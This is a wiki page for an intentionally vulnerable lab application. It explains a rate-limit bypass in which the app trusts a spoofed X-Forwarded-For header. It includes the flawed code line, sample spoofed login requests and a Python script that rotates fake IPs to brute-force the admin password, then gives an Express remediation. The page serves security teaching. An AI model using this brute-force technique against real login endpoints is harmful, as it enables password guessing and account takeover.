Skip to content

Rate Limit Bypass

Sam Sanoop edited this page Jan 14, 2026 · 1 revision

Rate Limit Bypass via X-Forwarded-For

Vulnerability Description

The application implements IP-based rate limiting to prevent abuse such as brute-force attacks. However, the mechanism relies on the X-Forwarded-For HTTP header to identify the client's IP address. This header is trusted blindly by the application without verifying if the request actually came from a trusted proxy.

How it Works

  1. Rate Limiting Logic: The application tracks the number of requests associated with an IP address within a time window (e.g., 100 requests per 30 seconds).
  2. IP Identification: The application attempts to retrieve the client IP using:
    const ip = req.headers['x-forwarded-for'] || req.connection.remoteAddress;
  3. The Flaw: An attacker can manually set the X-Forwarded-For header in their HTTP request. Since the application prioritizes this header, the attacker can spoof their IP address.

Exploitation Scenario

An attacker wishes to brute-force a user's password but is blocked after 100 attempts.

Step 1: Trigger the Rate Limit

The attacker sends 100 login attempts.

POST /api/v2/login HTTP/1.1
Host: dvws.local
...
username=admin&password=guess1

Result: After 100 attempts, the server responds with 429 Too Many Requests.

Step 2: Bypass the Limit

The attacker changes the X-Forwarded-For header to a new value (e.g., 1.2.3.4).

POST /api/v2/login HTTP/1.1
Host: dvws.local
X-Forwarded-For: 1.2.3.4
...
username=admin&password=guess101

Result: The server sees this as a request from a new user (1.2.3.4) and allows it, resetting the counter for the attacker.

Step 3: Automation (IP Rotation)

By rotating the X-Forwarded-For value for every batch of requests (or every single request), the attacker can completely bypass the rate limit and perform unlimited brute-force attempts.

Example Attack Script (Conceptual):

import requests

url = "http://dvws.local/api/v2/login"
passwords = load_passwords()

for i, password in enumerate(passwords):
    # Spoof a new IP every request or every N requests
    fake_ip = f"10.0.0.{i % 255}"
    headers = {"X-Forwarded-For": fake_ip}
    data = {"username": "admin", "password": password}
    
    response = requests.post(url, json=data, headers=headers)
    
    if response.status_code == 200:
        print(f"Password found: {password}")
        break

Impact

  • Credential Stuffing / Brute Force: Attackers can guess passwords without restriction.
  • Denial of Service (DoS): Attackers can exhaust server resources by bypassing limits intended to protect the system.
  • Spam: If applied to comment or registration endpoints, attackers can flood the system with spam.

Remediation

To fix this vulnerability, the application should only trust the X-Forwarded-For header if it comes from a trusted proxy (e.g., a load balancer or reverse proxy controlled by the organization).

Secure Implementation Example (Express.js): Configure the application to trust only specific proxies:

// In app.js
app.set('trust proxy', 'loopback, 10.0.0.123'); // Only trust local and specific load balancer

Then, use req.ip which Express safely resolves based on the trust settings, instead of manually reading headers.

Clone this wiki locally